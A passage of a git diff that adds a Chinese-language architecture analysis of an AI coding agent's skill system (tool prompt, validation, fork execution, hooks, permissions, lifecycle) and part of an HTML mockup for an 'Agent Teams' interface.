+formatCommandsWithinBudget(commands, contextWindowTokens)
+    ├─ 计算总预算 = contextWindowTokens × 4 × 1%
+    ├─ 尝试全量描述
+    │  └─ 总字符 ≤ 预算 → 全部输出
+    │
+    ├─ 分区: Bundled（不截断） + 其余
+    │  ├─ Bundled Skills 始终保留完整描述
+    │  └─ 其余 Skills 平分剩余预算
+    │
+    ├─ 截断描述 → maxDescLen 字符
+    │  └─ maxDescLen < 20 → 极端情况: 非 Bundled 只显示名称
+    │
+    └─ 输出格式: "- skill-name: description..."
+```
+
+### SkillTool Prompt
+
+模型看到的工具提示词定义：
+
+```typescript
+// src/tools/SkillTool/prompt.ts:173-196
+export const getPrompt = memoize(async (_cwd: string): Promise<string> => {
+  return `Execute a skill within the main conversation
+
+When users ask you to perform tasks, check if any of the available skills match.
+
+How to invoke:
+- Use this tool with the skill name and optional arguments
+- Examples:
+  - skill: "pdf"
+  - skill: "commit", args: "-m 'Fix bug'"
+
+Important:
+- Available skills are listed in system-reminder messages
+- When a skill matches, invoke BEFORE generating any other response
+- NEVER mention a skill without calling this tool
+- Do not invoke a skill that is already running
+`
+})
+```
+
+---
+
+## 五、SkillTool 执行引擎
+
+### 工具定义
+
+```typescript
+// src/tools/SkillTool/SkillTool.ts:331-340
+export const SkillTool = buildTool({
+  name: 'Skill',
+  inputSchema: z.object({
+    skill: z.string(),    // 技能名称
+    args: z.string().optional(),  // 可选参数
+  }),
+  outputSchema: z.union([inlineOutputSchema, forkedOutputSchema]),
+})
+```
+
+### 执行流程
+
+![SkillTool 执行流程](./images/07-skill-execution.png)
+
+```
+SkillTool.call({ skill, args })
+    │
+    ├─ 1. 标准化输入
+    │  └─ 去除前导 / , trim 空白
+    │
+    ├─ 2. 远程 Skill 检查（实验性）
+    │  └─ _canonical_<slug> 前缀 → executeRemoteSkill()
+    │
+    ├─ 3. 查找 Command 对象
+    │  └─ getAllCommands(context) → findCommand(name, commands)
+    │
+    ├─ 4. 记录使用频率
+    │  └─ recordSkillUsage(commandName) → 影响排序推荐
+    │
+    ├─ 5. 判断执行路径
+    │  ├─ command.context === 'fork'
+    │  │  └─ → executeForkedSkill()  [见第六节]
+    │  │
+    │  └─ 默认 inline
+    │     ├─ processPromptSlashCommand()
+    │     │  └─ getMessagesForPromptSlashCommand()
+    │     │     ├─ command.getPromptForCommand(args, context)
+    │     │     ├─ registerSkillHooks()      ← 注册 Hook
+    │     │     ├─ addInvokedSkill()         ← 记录（压缩后恢复）
+    │     │     ├─ formatCommandLoadingMetadata()
+    │     │     │  └─ <command-name>/skillName</command-name>
+    │     │     └─ 提取附件 → 创建消息
+    │     │
+    │     ├─ 提取 metadata: allowedTools, model, effort
+    │     ├─ tagMessagesWithToolUseID() ← 关联 tool_use
+    │     └─ 返回 { newMessages, contextModifier }
+    │
+    └─ 6. contextModifier() 闭包
+       ├─ 更新 allowedTools
+       │  └─ appState.toolPermissionContext.alwaysAllowRules.command
+       ├─ 更新 model
+       │  └─ resolveSkillModelOverride() 保留 [1m] 后缀
+       └─ 更新 effort
+          └─ appState.effortValue
+```
+
+### 验证逻辑
+
+```typescript
+// src/tools/SkillTool/SkillTool.ts:354-430
+async validateInput({ skill }, context) {
+  // 1. 格式检查 — 非空
+  // 2. 标准化 — 去除前导 /
+  // 3. 远程 Skill 检查 — _canonical_ 前缀
+  // 4. 查找 — findCommand() 在 getAllCommands() 中
+  // 5. 禁用检查 — disableModelInvocation
+  // 6. 类型检查 — 必须是 'prompt' 类型
+}
+```
+
+**错误码定义：**
+
+| errorCode | 含义 |
+|-----------|------|
+| 1 | 格式无效（空技能名） |
+| 2 | 未知技能 |
+| 4 | 模型调用被禁用 |
+| 5 | 非 prompt 类型 |
+| 6 | 远程技能未发现 |
+
+### getAllCommands — MCP Skill 合并
+
+```typescript
+// src/tools/SkillTool/SkillTool.ts:81-94
+async function getAllCommands(context: ToolUseContext): Promise<Command[]> {
+  // 从 AppState 获取 MCP Skills（loadedFrom === 'mcp'）
+  const mcpSkills = context.getAppState()
+    .mcp.commands.filter(
+      cmd => cmd.type === 'prompt' && cmd.loadedFrom === 'mcp',
+    )
+  if (mcpSkills.length === 0) return getCommands(getProjectRoot())
+  const localCommands = await getCommands(getProjectRoot())
+  return uniqBy([...localCommands, ...mcpSkills], 'name')
+}
+```
+
+---
+
+## 六、Fork 子代理执行
+
+### 执行流程
+
+```
+executeForkedSkill(command, commandName, args, context, ...)
+    │
+    ├─ 1. 创建子代理 ID
+    │  └─ agentId = createAgentId()
+    │
+    ├─ 2. 遥测记录
+    │  └─ logEvent('tengu_skill_tool_invocation', { execution_context: 'fork' })
+    │
+    ├─ 3. 准备 Fork 上下文
+    │  └─ prepareForkedCommandContext(command, args, context)
+    │     ├─ command.getPromptForCommand(args, context)  ← 获取技能内容
+    │     ├─ parseToolListFromCLI(allowedTools)           ← 解析工具白名单
+    │     ├─ createGetAppStateWithAllowedTools()          ← 修改 AppState
+    │     ├─ 选择 agent: command.agent ?? 'general-purpose'
+    │     └─ promptMessages = [createUserMessage(skillContent)]
+    │
+    ├─ 4. 合并 effort
+    │  └─ command.effort → 注入 agentDefinition
+    │
+    ├─ 5. 运行子代理
+    │  └─ for await (message of runAgent({
+    │       agentDefinition,
+    │       promptMessages,
+    │       toolUseContext: { ...context, getAppState: modifiedGetAppState },
+    │       model: command.model,
+    │       override: { agentId },
+    │     }))
+    │     └─ 收集消息 + 报告进度 (onProgress)
+    │
+    ├─ 6. 提取结果
+    │  └─ extractResultText(agentMessages)
+    │     └─ 获取最后一条 assistant 消息的文本
+    │
+    └─ 7. 清理
+       └─ clearInvokedSkillsForAgent(agentId)
+```
+
+### prepareForkedCommandContext
+
+```typescript
+// src/utils/forkedAgent.ts:191-232
+export async function prepareForkedCommandContext(
+  command: PromptCommand,
+  args: string,
+  context: ToolUseContext,
+): Promise<PreparedForkedContext> {
+  // 获取技能内容（含参数替换和 shell 执行）
+  const skillPrompt = await command.getPromptForCommand(args, context)
+  const skillContent = skillPrompt.map(b => b.type === 'text' ? b.text : '').join('\n')
+
+  // 构建工具白名单
+  const allowedTools = parseToolListFromCLI(command.allowedTools ?? [])
+  const modifiedGetAppState = createGetAppStateWithAllowedTools(
+    context.getAppState, allowedTools,
+  )
+
+  // 选择代理类型
+  const agentTypeName = command.agent ?? 'general-purpose'
+  const baseAgent = agents.find(a => a.agentType === agentTypeName)
+
+  // 构建提示消息
+  const promptMessages = [createUserMessage({ content: skillContent })]
+
+  return { skillContent, modifiedGetAppState, baseAgent, promptMessages }
+}
+```
+
+### Inline vs Fork 返回差异
+
+**Inline 返回:**
+```typescript
+{
+  data: {
+    success: true,
+    commandName: 'commit',
+    allowedTools: ['Bash', 'Read'],
+    model: 'sonnet',
+    status: 'inline',
+  },
+  newMessages: [...],        // 注入到对话
+  contextModifier: (ctx) => { ... },  // 修改上下文
+}
+```
+
+**Fork 返回:**
+```typescript
+{
+  data: {
+    success: true,
+    commandName: 'verify',
+    status: 'forked',
+    agentId: 'agent_abc123',
+    result: '验证通过，所有测试已运行...',
+  },
+  // 无 newMessages — 结果嵌入 tool_result block
+}
+```
+
+---
+
+## 七、条件激活与动态发现
+
+### 条件 Skills
+
+![条件激活机制](./images/08-conditional-activation.png)
+
+带 `paths` frontmatter 的 Skills 不会立即暴露给模型：
+
+```
+启动时
+├─ 加载所有 Skills
+├─ 有 paths 的 → conditionalSkills Map
+└─ 无 paths 的 → 立即可用
+
+运行时（文件操作触发）
+├─ activateConditionalSkillsForPaths(filePaths, cwd)
+│  ├─ 遍历 conditionalSkills Map
+│  ├─ 用 ignore 库匹配 paths 模式
+│  │  └─ filePath 转为 cwd 相对路径后匹配
+│  ├─ 匹配成功:
+│  │  ├─ 移入 dynamicSkills Map
+│  │  ├─ 从 conditionalSkills 删除
+│  │  ├─ 加入 activatedConditionalSkillNames Set
+│  │  └─ 记录遥测 tengu_dynamic_skills_changed
+│  └─ 一旦激活，会话内持续有效
+└─ 通知缓存失效 → skillsLoaded.emit()
+```
+
+### 动态发现
+
+当操作深层目录文件时，系统自动发现新的 Skills：
+
+```typescript
+// src/skills/loadSkillsDir.ts:861-915
+export async function discoverSkillDirsForPaths(
+  filePaths: string[],
+  cwd: string,
+): Promise<string[]> {
+  for (const filePath of filePaths) {
+    let currentDir = dirname(filePath)
+    // 从文件所在目录向上遍历到 cwd（不含 cwd 本身）
+    while (currentDir.startsWith(resolvedCwd + pathSep)) {
+      const skillDir = join(currentDir, '.claude', 'skills')
+      if (!dynamicSkillDirs.has(skillDir)) {
+        dynamicSkillDirs.add(skillDir)
+        await fs.stat(skillDir)  // 检查是否存在
+        // 检查是否被 .gitignore 忽略
+        if (await isPathGitignored(currentDir, resolvedCwd)) continue
+        newDirs.push(skillDir)
+      }
+      currentDir = dirname(currentDir)
+    }
+  }
+  // 按深度排序（最深优先），确保就近 Skill 优先级更高
+  return newDirs.sort((a, b) => b.split(pathSep).length - a.split(pathSep).length)
+}
+```
+
+### 缓存失效链
+
+```
+动态 Skill 变化
+    ↓
+skillsLoaded.emit()
+    ↓
+clearCommandMemoizationCaches()
+    ├─ loadAllCommands.cache.clear()
+    ├─ getSkillToolCommands.cache.clear()
+    ├─ getSlashCommandToolSkills.cache.clear()
+    └─ clearSkillIndexCache()
+    ↓
+下一轮对话会加载新的 Skill 列表
+```
+
+---
+
+## 八、Hook 集成
+
+### Hook 注册
+
+Skills 可以通过 frontmatter 声明 Hook，在调用时自动注册为会话级 Hook：
+
+```typescript
+// src/utils/hooks/registerSkillHooks.ts:20-64
+export function registerSkillHooks(
+  setAppState, sessionId, hooks, skillName, skillRoot?,
+): void {
+  for (const eventName of HOOK_EVENTS) {
+    const matchers = hooks[eventName]
+    if (!matchers) continue
+    for (const matcher of matchers) {
+      for (const hook of matcher.hooks) {
+        // once: true → 执行一次后自动移除
+        const onHookSuccess = hook.once
+          ? () => removeSessionHook(setAppState, sessionId, eventName, hook)
+          : undefined
+
+        addSessionHook(
+          setAppState, sessionId, eventName,
+          matcher.matcher || '',
+          hook, onHookSuccess, skillRoot,
+        )
+      }
+    }
+  }
+}
+```
+
+### Hook 生命周期
+
+```
+Skill 调用
+    ↓
+processPromptSlashCommand()
+    ├─ 检查 command.hooks
+    └─ registerSkillHooks(setAppState, sessionId, hooks, skillName, skillRoot)
+         ├─ 遍历 HOOK_EVENTS（PreToolUse, PostToolUse, Stop, ...）
+         ├─ 为每个 matcher 注册 addSessionHook()
+         ├─ skillRoot → CLAUDE_PLUGIN_ROOT 环境变量
+         └─ once: true → 首次执行后 removeSessionHook()
+    ↓
+会话期间
+    ├─ 工具调用触发 PreToolUse/PostToolUse
+    ├─ matcher 匹配 → 执行 Hook 命令
+    └─ once: true 的 Hook 执行一次后自动移除
+```
+
+---
+
+## 九、权限系统
+
+### 检查流程
+
+```
+checkPermissions({ skill, args }, context)
+    │
+    ├─ 1. Deny 规则检查（最高优先级）
+    │  └─ getRuleByContentsForTool(context, SkillTool, 'deny')
+    │     ├─ 精确匹配: "commit" === commandName
+    │     └─ 前缀匹配: "review:*" → commandName.startsWith("review")
+    │
+    ├─ 2. 远程 Skill 自动允许
+    │  └─ _canonical_<slug> → 自动允许（Ant 专属实验性）
+    │
+    ├─ 3. Allow 规则检查
+    │  └─ getRuleByContentsForTool(context, SkillTool, 'allow')
+    │
+    ├─ 4. 安全属性自动允许
+    │  └─ skillHasOnlySafeProperties(command)
+    │     └─ SAFE_SKILL_PROPERTIES 白名单检查
+    │
+    └─ 5. 默认: 询问用户
+       └─ 提供建议: 精确允许 + 前缀允许
+```
+
+### 安全属性白名单
+
+如果 Skill 只包含以下属性（无 hooks、无 allowedTools、无 fork），自动允许：
+
+```
+SAFE_SKILL_PROPERTIES = {
+  type, name, description, contentLength, source,
+  loadedFrom, progressMessage, userInvocable,
+  disableModelInvocation, hasUserSpecifiedDescription,
+  getPromptForCommand, userFacingName, ...
+}
+```
+
+**核心逻辑：** 新增的 frontmatter 字段默认需要权限，除非显式加入白名单。
+
+---
+
+## 十、完整生命周期
+
+### 数据流总览
+
+![完整生命周期](./images/09-skill-lifecycle.png)
+
+```
+第一阶段: 发现与注册
+──────────────────
+CLI 启动
+    ├─ initBundledSkills()        → bundledSkills[]
+    ├─ getPluginSkills()          → pluginSkills[]
+    ├─ getSkillDirCommands(cwd)   → skillDirCommands[]
+    │  └─ 条件 Skills → conditionalSkills Map
+    └─ loadAllCommands()          → 聚合 & memoize
+
+第二阶段: 注入到对话
+──────────────────
+每轮对话
+    ├─ getSkillListingAttachments()
+    │  ├─ getSkillToolCommands()  → 过滤模型可调用 Skills
+    │  ├─ getMcpSkillCommands()   → MCP Skills
+    │  └─ formatCommandsWithinBudget()  → 截断到预算
+    └─ 包装为 <system-reminder> 消息注入
+
+第三阶段: 调用与执行
+──────────────────
+模型/用户触发
+    ├─ SkillTool.validateInput()  → 验证
+    ├─ SkillTool.checkPermissions()  → 权限
+    └─ SkillTool.call()
+       ├─ Inline → processPromptSlashCommand()
+       │  ├─ getPromptForCommand()  → 内容展开
+       │  ├─ registerSkillHooks()   → Hook 注册
+       │  ├─ addInvokedSkill()      → 记录（压缩恢复）
+       │  └─ contextModifier()      → 更新 tools/model/effort
+       └─ Fork → executeForkedSkill()
+          ├─ prepareForkedCommandContext()
+          ├─ runAgent()             → 子代理运行
+          └─ extractResultText()    → 提取结果
+
+第四阶段: 运行时发现
+──────────────────
+文件操作触发
+    ├─ discoverSkillDirsForPaths()   → 新 Skills 目录
+    ├─ addSkillDirectories()          → 加载 & 注册
+    ├─ activateConditionalSkillsForPaths()  → 条件激活
+    └─ clearCommandMemoizationCaches()      → 缓存失效
+```
+
+### Skill 内容持久化
+
+Inline Skills 的内容通过 `addInvokedSkill()` 记录到会话状态，确保在上下文压缩后仍可恢复：
+
+```
+addInvokedSkill(name, path, content, agentId)
+    ↓
+存储在 session state 中
+    ↓
+压缩时 → buildPostCompactMessages()
+    ↓
+按 agentId 作用域恢复（防止跨代理泄漏）
+```
+
+---
+
+## 十一、源码索引
+
+### 核心文件
+
+| 文件 | 职责 |
+|------|------|
+| `src/tools/SkillTool/SkillTool.ts` | SkillTool 定义、验证、权限、执行 |
+| `src/tools/SkillTool/prompt.ts` | 工具提示词、Skill 列表格式化、预算控制 |
+| `src/skills/loadSkillsDir.ts` | 目录 Skill 发现、加载、去重、条件激活 |
+| `src/skills/bundledSkills.ts` | 内置 Skill 注册系统 |
+| `src/skills/bundled/index.ts` | 内置 Skills 初始化入口 |
+| `src/commands.ts` | 命令聚合、排序、过滤、缓存管理 |
+
+### 类型定义
+
+| 文件 | 关键类型 |
+|------|---------|
+| `src/types/command.ts` | `PromptCommand`, `Command`, `LocalCommandResult` |
+| `src/utils/frontmatterParser.ts` | `FrontmatterData`, `ParsedMarkdown` |
+| `src/skills/bundledSkills.ts` | `BundledSkillDefinition` |
+
+### 辅助模块
+
+| 文件 | 职责 |
+|------|------|
+| `src/utils/forkedAgent.ts` | Fork 上下文准备、结果提取 |
+| `src/utils/hooks/registerSkillHooks.ts` | Skill Hook 注册 |
+| `src/utils/argumentSubstitution.ts` | 参数替换（$ARGUMENTS, ${ARG1}） |
+| `src/utils/promptShellExecution.ts` | 内联 Shell 命令执行 |
+| `src/utils/attachments.ts` | Skill 列表附件生成 |
+| `src/utils/messages.ts` | system-reminder 包装 |
+| `src/utils/plugins/loadPluginCommands.ts` | 插件 Skill 加载 |
+| `src/services/mcp/client.ts` | MCP Skill 转换 |
+| `src/skills/mcpSkillBuilders.ts` | MCP Skill 构建器注册 |
+
+### 关键常量
+
+| 常量 | 值 | 位置 |
+|------|----|----|
+| `SKILL_BUDGET_CONTEXT_PERCENT` | 0.01 | prompt.ts:21 |
+| `DEFAULT_CHAR_BUDGET` | 8,000 | prompt.ts:23 |
+| `MAX_LISTING_DESC_CHARS` | 250 | prompt.ts:29 |
+| `SKILL_TOOL_NAME` | `'Skill'` | constants.ts |
+
+### 遥测事件
+
+| 事件 | 说明 |
+|------|------|
+| `tengu_skill_tool_invocation` | Skill 调用（含 execution_context, invocation_trigger） |
+| `tengu_skill_tool_slash_prefix` | 模型使用了 / 前缀 |
+| `tengu_dynamic_skills_changed` | 动态 Skills 变化（条件激活/目录发现） |
+| `tengu_skill_descriptions_truncated` | Skill 描述被截断 |
diff --git a/cc-haha/docs/ui-clone/stitch_claudecode_haha_frontend_design/agent_teams/code.html b/cc-haha/docs/ui-clone/stitch_claudecode_haha_frontend_design/agent_teams/code.html
new file mode 100644
index 0000000..8c4a3c6
--- /dev/null
+++ b/cc-haha/docs/ui-clone/stitch_claudecode_haha_frontend_design/agent_teams/code.html
@@ -0,0 +1,294 @@
+<!DOCTYPE html>
+
+<html class="light" lang="en"><head>
+<meta charset="utf-8"/>
+<meta content="width=device-width, initial-scale=1.0" name="viewport"/>
+<title>Claude Code Companion - Agent Teams</title>
+<script src="https://cdn.tailwindcss.com?plugins=forms,container-queries"></script>
+<link href="https://fonts.googleapis.com/css2?family=Manrope:wght@400;600;700;800&amp;family=Inter:wght@400;500;600&amp;family=JetBrains+Mono&amp;display=swap" rel="stylesheet"/>
+<link href="https://fonts.googleapis.com/css2?family=Material+Symbols+Outlined:wght,FILL@100..700,0..1&amp;display=swap" rel="stylesheet"/>
+<link href="https://fonts.googleapis.com/css2?family=Material+Symbols+Outlined:wght,FILL@100..700,0..1&amp;display=swap" rel="stylesheet"/>
+<script id="tailwind-config">
+        tailwind.config = {
+            darkMode: "class",
+            theme: {
+                extend: {
+                    "colors": {
+                        "primary-fixed": "#ffdbd0",
+                        "on-secondary-fixed-variant": "#094a76",
+                        "on-primary": "#ffffff",
+                        "on-surface": "#1b1c1a",
+                        "error": "#ba1a1a",
+                        "inverse-on-surface": "#f2f1ed",
+                        "surface-container-lowest": "#ffffff",
+                        "tertiary-fixed": "#d4eab4",
+                        "secondary-container": "#9acbfe",
+                        "on-tertiary": "#ffffff",
+                        "primary-fixed-dim": "#ffb59d",
+                        "secondary-fixed": "#cfe5ff",
+                        "surface-container-low": "#f4f4f0",
+                        "tertiary": "#4f6237",
+                        "surface-dim": "#dbdad6",
+                        "outline-variant": "#dac1ba",
+                        "on-primary-fixed-variant": "#75331c",
+                        "tertiary-container": "#677b4e",
+                        "surface-container": "#efeeea",
+                        "surface-variant": "#e3e2df",
+                        "error-container": "#ffdad6",
+                        "on-primary-container": "#fffbff",
+                        "inverse-primary": "#ffb59d",
+                        "on-error": "#ffffff",
+                        "tertiary-fixed-dim": "#b8ce99",
+                        "background": "#faf9f5",
+                        "on-primary-fixed": "#390c00",
+                        "on-secondary": "#ffffff",
+                        "surface-tint": "#924a31",
+                        "inverse-surface": "#2f312e",
+                        "on-secondary-fixed": "#001d34",
+                        "primary-container": "#ad5f45",
+                        "on-surface-variant": "#54433e",
+                        "surface-container-high": "#e9e8e4",
+                        "surface": "#faf9f5",
+                        "on-tertiary-container": "#faffea",
+                        "primary": "#8f482f",
+                        "on-tertiary-fixed": "#102000",
+                        "surface-container-highest": "#e3e2df",
+                        "secondary": "#2d628f",
+                        "on-background": "#1b1c1a",
+                        "on-secondary-container": "#1e5683",
+                        "outline": "#87736d",
+                        "surface-bright": "#faf9f5",
+                        "on-tertiary-fixed-variant": "#3b4c24",
+                        "secondary-fixed-dim": "#9acbfe",
+                        "on-error-container": "#93000a"
+                    },
+                    "borderRadius": {
+                        "DEFAULT": "0.25rem",
+                        "lg": "0.5rem",
+                        "xl": "0.75rem",
+                        "full": "9999px"
+                    },
+                    "fontFamily": {
+                        "headline": ["Manrope"],
+                        "body": ["Inter"],
+                        "label": ["Inter"],
+                        "mono": ["JetBrains Mono"]
+                    }
+                },
+            },
+        }
+    </script>
+<style>.material-symbols-outlined {
+    font-variation-settings: "FILL" 0, "wght" 400, "GRAD" 0, "opsz" 24
+    }
+.bg-noise {
+    background-image: url(https://lh3.googleusercontent.com/aida-public/AB6AXuCH4VrqHK0Psvqe1BnCsRSFj0tn1RTwNqnScWJBK5U5uD5dNDzIlgmWQoNTa2yrfVdJU3O4w4tgKn9iNhil2hQD2YO-mMxxpe6plQVHeXiYCTFxuA5rbd9HhAq95jNQBxxluHC4FVM8LUjbEDB0gRoK-y8XmVP7sMAuXQqqk2lXpIzH9rzEOs7AsZy-PMT7sI4shu7r1pwRN6ugZnfq-cevhpV-8EETu-3oX9T66TAUf4h4Z_8n1dPnRLAacwG90EKylv0HMFcJajo);
+    opacity: 0.03;
+    pointer-events: none
+    }</style>
+</head>
+<body class="bg-background text-on-surface font-body selection:bg-primary-fixed">
+<div class="fixed inset-0 bg-noise"></div>
+<!-- TopAppBar -->
+<header class="fixed top-0 left-0 w-full z-50">
+<div class="bg-[#FAF9F5] dark:bg-[#141413] flex justify-between items-center px-6 h-12 w-full">
+<div class="flex items-center gap-8">
+<span class="text-sm font-bold text-[#1B1C1A] dark:text-[#FAF9F5] uppercase tracking-tighter">Claude Code Companion</span>
+<nav class="hidden md:flex gap-6 items-center">
+<a class="font-manrope font-semibold tracking-wide text-sm text-[#1B1C1A] dark:text-[#FAF9F5] border-b-2 border-[#8F482F] pb-1 cursor-pointer active:opacity-70 transition-colors" href="#">Code</a>
+<a class="font-manrope font-semibold tracking-wide text-sm text-[#87736D] dark:text-[#A0A090] hover:text-[#8F482F] cursor-pointer active:opacity-70 transition-colors" href="#">Terminal</a>
+<a class="font-manrope font-semibold tracking-wide text-sm text-[#87736D] dark:text-[#A0A090] hover:text-[#8F482F] cursor-pointer active:opacity-70 transition-colors" href="#">History</a>
+</nav>
+</div>
+<div class="flex items-center gap-4">
+<div class="flex gap-2 text-[#8F482F] dark:text-[#CC785C]">
+<span class="material-symbols-outlined text-sm cursor-pointer active:opacity-70" data-icon="arrow_back_ios">arrow_back_ios</span>
+<span class="material-symbols-outlined text-sm cursor-pointer active:opacity-70" data-icon="arrow_forward_ios">arrow_forward_ios</span>
+</div>
+<button class="font-manrope font-semibold tracking-wide text-sm text-[#87736D] dark:text-[#A0A090] hover:text-[#8F482F] cursor-pointer active:opacity-70 transition-colors">Settings</button>
+</div>
+</div>
+<div class="bg-[#F4F4F0] dark:bg-[#1B1C1A] h-[1px] w-full"></div>
+</header>
+<!-- SideNavBar -->
+<aside class="fixed left-0 top-0 h-full w-[280px] bg-[#F4F4F0] dark:bg-[#1B1C1A] hidden md:flex flex-col p-4 gap-2 z-40 pt-16">
+<div class="flex items-center gap-3 px-2 mb-6">
+<div class="w-8 h-8 rounded-lg bg-surface-container-high flex items-center justify-center">
+<span class="material-symbols-outlined text-primary text-xl" data-icon="filter_list">filter_list</span>
+</div>
+<div>
+<p class="font-inter text-sm font-semibold text-on-surface">All projects</p>
+<p class="text-xs text-outline">Active Session</p>
+</div>
+</div>
+<nav class="flex flex-col gap-1 flex-1">
+<div class="flex items-center gap-3 px-3 py-2 bg-[#FAF9F5] dark:bg-[#141413] text-[#1B1C1A] dark:text-[#FAF9F5] rounded-lg relative before:content-[''] before:absolute before:left-[-8px] before:w-1 before:h-4 before:bg-[#8F482F] before:rounded-full font-inter text-sm font-medium duration-200 ease-in-out cursor-pointer">
+<span class="material-symbols-outlined" data-icon="add">add</span>
+<span>New session</span>
+</div>
+<div class="flex items-center gap-3 px-3 py-2 text-[#87736D] dark:text-[#A0A090] hover:bg-[#EBEBE6] dark:hover:bg-[#242423] rounded-lg font-inter text-sm font-medium duration-200 ease-in-out cursor-pointer">
+<span class="material-symbols-outlined" data-icon="calendar_today">calendar_today</span>
+<span>Scheduled</span>
+</div>
+<div class="flex items-center gap-3 px-3 py-2 text-[#87736D] dark:text-[#A0A090] hover:bg-[#EBEBE6] dark:hover:bg-[#242423] rounded-lg font-inter text-sm font-medium duration-200 ease-in-out cursor-pointer">
+<span class="material-symbols-outlined" data-icon="history">history</span>
+<span>Today</span>
+</div>
+<div class="flex items-center gap-3 px-3 py-2 text-[#87736D] dark:text-[#A0A090] hover:bg-[#EBEBE6] dark:hover:bg-[#242423] rounded-lg font-inter text-sm font-medium duration-200 ease-in-out cursor-pointer">
+<span class="material-symbols-outlined" data-icon="event_note">event_note</span>
+<span>Previous 7 Days</span>
+</div>
+<div class="flex items-center gap-3 px-3 py-2 text-[#87736D] dark:text-[#A0A090] hover:bg-[#EBEBE6] dark:hover:bg-[#242423] rounded-lg font-inter text-sm font-medium duration-200 ease-in-out cursor-pointer">
+<span class="material-symbols-outlined" data-icon="archive">archive</span>
+<span>Older</span>
+</div>
+</nav>
+<div class="mt-auto flex flex-col gap-4 border-t border-outline-variant/20 pt-4">
+<button class="w-full py-2.5 bg-surface-container-high rounded-lg text-sm font-medium text-on-surface hover:bg-surface-variant transition-colors flex items-center justify-center gap-2">
+<span class="material-symbols-outlined text-sm" data-icon="search">search</span>
+                Search sessions
+            </button>
+<div class="flex flex-col gap-1">
+<div class="flex items-center gap-3 px-3 py-2 text-[#87736D] dark:text-[#A0A090] hover:bg-[#EBEBE6] dark:hover:bg-[#242423] rounded-lg font-inter text-sm font-medium duration-200 ease-in-out cursor-pointer">
+<span class="material-symbols-outlined" data-icon="computer">computer</span>
+<span>Local Mode</span>
+</div>
+<div class="flex items-center gap-3 px-3 py-2 text-[#87736D] dark:text-[#A0A090] hover:bg-[#EBEBE6] dark:hover:bg-[#242423] rounded-lg font-inter text-sm font-medium duration-200 ease-in-out cursor-pointer">
+<span class="material-symbols-outlined" data-icon="cloud">cloud</span>
+<span>Remote Mode</span>
+</div>
+</div>
+</div>
+</aside>
+<!-- Main Content Canvas -->
+<main class="md:ml-[280px] pt-12 pb-8 min-h-screen flex flex-col relative">
+<!-- Code Content Area -->
+<div class="flex-1 p-6 md:p-10 max-w-5xl mx-auto w-full">
+<div class="space-y-8">
+<!-- Message Thread Simulation -->
+<div class="space-y-6">
+<div class="flex gap-4 group">
+<div class="w-8 h-8 rounded-full bg-primary-fixed flex-shrink-0 flex items-center justify-center text-on-primary-fixed font-bold text-xs">U</div>
+<div class="space-y-2">
+<p class="text-xs font-semibold text-outline uppercase tracking-widest">User</p>
+<p class="text-on-surface leading-relaxed">Refactor the authentication middleware to support JWT and OAuth2 simultaneously. Ensure we have proper test coverage for the edge cases.</p>
+</div>
+</div>
+<div class="flex gap-4 group">
+<div class="w-8 h-8 rounded-full bg-tertiary-container flex-shrink-0 flex items-center justify-center text-on-tertiary-container">
+<span class="material-symbols-outlined text-sm" data-icon="smart_toy" style="font-variation-settings: 'FILL' 1;">smart_toy</span>
+</div>
+<div class="space-y-4 flex-1">
+<p class="text-xs font-semibold text-outline uppercase tracking-widest">Claude Companion</p>
+<div class="bg-surface-container-low p-5 rounded-xl border border-outline-variant/10 shadow-sm">
+<p class="text-on-surface mb-4">I've initiated the agent team for this task. The architect is designing the interface, while the developers are preparing the boilerplate for the new strategies.</p>
+<div class="bg-surface-dim p-4 rounded-lg font-mono text-[13px] text-on-surface-variant overflow-x-auto">
+<span class="text-primary-container">info:</span> spawning child_processes for parallel development<br/>
+<span class="text-secondary">active:</span> session-dev cluster initiated<br/>
+<span class="text-tertiary">ready:</span> 4 agents assigned
+                                </div>
+</div>
+</div>
+</div>
+</div>
+<!-- TEAM STRIP - THE CORE REQUEST -->
+<div class="relative py-8">
+<div class="absolute inset-x-0 top-1/2 -translate-y-1/2 h-px bg-outline-variant/20"></div>
+<div class="relative bg-surface p-4 rounded-2xl flex flex-col md:flex-row md:items-center gap-4 border border-outline-variant/15 shadow-sm overflow-hidden">
+<div class="flex items-center gap-3 pr-4 md:border-r border-outline-variant/30">
+<div class="p-2 bg-primary-fixed-dim/20 rounded-lg">
+<span class="material-symbols-outlined text-primary text-xl" data-icon="groups">groups</span>
+</div>
+<div>
+<h3 class="text-sm font-bold font-headline text-on-surface">Team: session-dev</h3>
+<p class="text-[11px] font-medium text-outline uppercase tracking-tighter">4 members</p>
+</div>
+</div>
+<!-- Agent Chips -->
+<div class="flex flex-wrap gap-2 items-center flex-1">
+<!-- Architect: Completed -->
+<div class="flex items-center gap-2 px-3 py-1.5 bg-surface-container-highest rounded-full border border-tertiary-container/20 group hover:border-tertiary-container/50 transition-all cursor-pointer">
+<div class="w-2 h-2 rounded-full bg-tertiary-container shadow-[0_0_8px_rgba(103,123,78,0.4)]"></div>
+<span class="text-xs font-semibold font-label text-on-surface">Architect</span>
+<span class="material-symbols-outlined text-[14px] text-tertiary" data-icon="check_circle" style="font-variation-settings: 'FILL' 1;">check_circle</span>
+</div>
+<!-- Frontend Dev: Running -->
+<div class="flex items-center gap-2 px-3 py-1.5 bg-surface-container-highest rounded-full border border-primary/20 animate-pulse-subtle group hover:border-primary/50 transition-all cursor-pointer">
+<div class="w-2 h-2 rounded-full bg-[#f59e0b] shadow-[0_0_8px_rgba(245,158,11,0.4)]"></div>
+<span class="text-xs font-semibold font-label text-on-surface">Frontend Dev</span>
+<span class="material-symbols-outlined text-[14px] text-[#f59e0b]" data-icon="sync" style="font-variation-settings: 'FILL' 1;">sync</span>
+</div>
+<!-- Backend Dev: Idle -->
+<div class="flex items-center gap-2 px-3 py-1.5 bg-surface-container-low rounded-full border border-outline-variant/20 grayscale group hover:grayscale-0 hover:border-secondary/50 transition-all cursor-pointer">
+<div class="w-2 h-2 rounded-full bg-outline shadow-[0_0_8px_rgba(135,115,109,0.2)]"></div>
+<span class="text-xs font-semibold font-label text-outline group-hover:text-on-surface">Backend Dev</span>
+<span class="material-symbols-outlined text-[14px] text-outline" data-icon="pause_circle">pause_circle</span>
+</div>
+<!-- Tester: Idle -->
+<div class="flex items-center gap-2 px-3 py-1.5 bg-surface-container-low rounded-full border border-outline-variant/20 grayscale group hover:grayscale-0 hover:border-error/50 transition-all cursor-pointer">
+<div class="w-2 h-2 rounded-full bg-outline shadow-[0_0_8px_rgba(135,115,109,0.2)]"></div>
